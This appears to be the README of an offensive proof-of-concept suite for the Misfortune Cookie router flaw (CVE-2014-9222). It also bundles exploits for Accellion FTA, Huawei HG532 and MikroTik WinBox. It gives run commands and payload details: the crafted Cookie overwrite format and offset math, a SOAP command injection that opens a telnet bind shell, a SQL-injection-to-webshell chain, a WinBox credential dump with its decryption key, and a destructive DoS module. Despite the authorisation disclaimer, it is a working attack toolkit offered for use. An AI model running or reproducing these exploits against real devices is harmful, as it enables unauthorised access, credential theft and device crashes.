
Interactive PoC suite for CVE-2014-9222 (Misfortune Cookie) and related router exploits, featuring detection, auth bypass, DoS, and RCE modules with a scan mode for multiple vulnerabilities.
Stack overflow in AllegroSoft RomPager's HTTP cookie handling (all versions
< 4.34). A single unauthenticated request with a crafted Cookie: header
corrupts memory. Effects: admin auth bypass, DoS/reboot, and (with
firmware-specific offsets) remote code execution.
Use only against hardware you own or are explicitly authorized to test.
python3 main.py # then set a target with [1]
python3 main.py http://192.168.1.1
[1] Set / switch target
[2] Fingerprint target
[3] Detect vulnerability (safe, non-destructive)
[4] Authentication bypass (magic cookie)
[5] DoS / crash the device (DESTRUCTIVE)
[6] RCE helper - derive cookie from firmware addresses
[7] Model / cookie table lookup
[8] Scan for all vulnerabilities (probe)
[A] Accellion FTA chain (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)
Every action prints what it will do first; DoS requires typing YES. The
per-model fingerprint (realm) is auto-detected from the WWW-Authenticate
header and matched against the cookie table.
[8] probes a host against all four vulnerability families with
non-destructive checks and prints which are reachable/likely vulnerable:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
Then run the matching menu entry ([3]/[4]/[A]/[B]/[C]) to exploit
the confirmed one.
Alongside Misfortune Cookie, the console bundles PoCs for three other common embedded/appliance vulnerabilities:
[A] Accellion FTA (accellion_fta.py) - reproduces the UNC2546 chain
described by Mandiant: recover the w1 secret via SQL injection through a
crafted Host header (/courier/oauth.api), then trigger admin.pl to
write an eval webshell, and verify it. 27103 (SSRF) / 27104 (post-auth cmd
exec) are noted but not exercised by default.[B] Huawei HG532 (huawei_hg532.py) - SOAP POST to
/ctrlt/DeviceUpgrade_1 with $(<cmd>) in NewStatusURL, HTTP Digest auth
dslf-config:admin; default command opens a telnet bind shell on 9999.[C] MikroTik WinBox () - directory-traversal file
read over the WinBox protocol; default reads and
decrypts stored credentials ( XOR).All additional PoCs require explicit confirmation in the console.
python3 detect.py http://192.168.1.1 # safe check
python3 auth_bypass.py http://192.168.1.1 # model auto-detected
python3 auth_bypass.py http://192.168.1.1 --restore # re-enable auth
python3 auth_bypass.py http://192.168.1.1 --all # try all known cookies
python3 auth_bypass.py http://192.168.1.1 --brute # exhaustive (VERY slow, crashes)
python3 dos.py http://192.168.1.1 # crash / reboot (DESTRUCTIVE)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # addresses -> (num, pad)
Cookie: C<evilnum>=<pad "B" bytes><payload>;
evilnum and pad are firmware-specific. evilnum indexes RomPager's
0x28-byte cookie array (C_Array + evilnum*0x28 + pad = overwritten
address). The per-model table merged from exploitdb 39739 and the Metasploit
allegro_rompager_auth_bypass module is in common.py.
Needs one exact firmware image. Steps (see rce/README.md): extract rootfs
with binwalk, reverse the cookie parser in Ghidra to find the buffer ->
saved $ra delta, derive (num, pad) with derive_cookie.py, validate the
MIPS shellcode against a QEMU-emulated image before touching the live target.
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
and auxiliary/admin/http/allegro_rompager_auth_bypass| Vulnerability | CVE | What the probe does |
|---|
| RomPager | CVE-2014-9222 | HTTP banner + version vs 4.34 |
| Huawei HG532 | CVE-2017-17215 | SOAP endpoint up + Digest realm |
| MikroTik WinBox | CVE-2018-14847 | live WinBox fileread (creds dumped) |
| Accellion FTA | CVE-2021-27101/104 | Accellion/oauth.api fingerprint |
| Menu | CVE | Target | Port |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
mikrotik_winbox.pyflash/rw/store/user.datmd5(user + "283i4jfkai3389")| file | purpose |
|---|
main.py | interactive console |
ui.py | banner + UI helpers (header/info/warn/err/success/prompt/confirm) |
common.py | fingerprinting, magic-cookie builder, per-model (num, pad) table |
detect.py | non-destructive vulnerability check (version + canary-cookie) |
scan.py | probe a target against all four vuln families (option 8) |
auth_bypass.py | magic-cookie auth bypass with realm auto-detection |
dos.py | oversized-cookie stack smash -> watchdog reboot |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> webshell chain |
huawei_hg532.py | CVE-2017-17215 SOAP command injection |
mikrotik_winbox.py | CVE-2018-14847 WinBox file read / credential dump |
rce/derive_cookie.py | turn C_Array + target address into (num, pad) |
rce/README.md | full RCE methodology + exploit math |
rce/references/ | 31C3 slides, NCC whitepaper, demystified writeups, layout tables |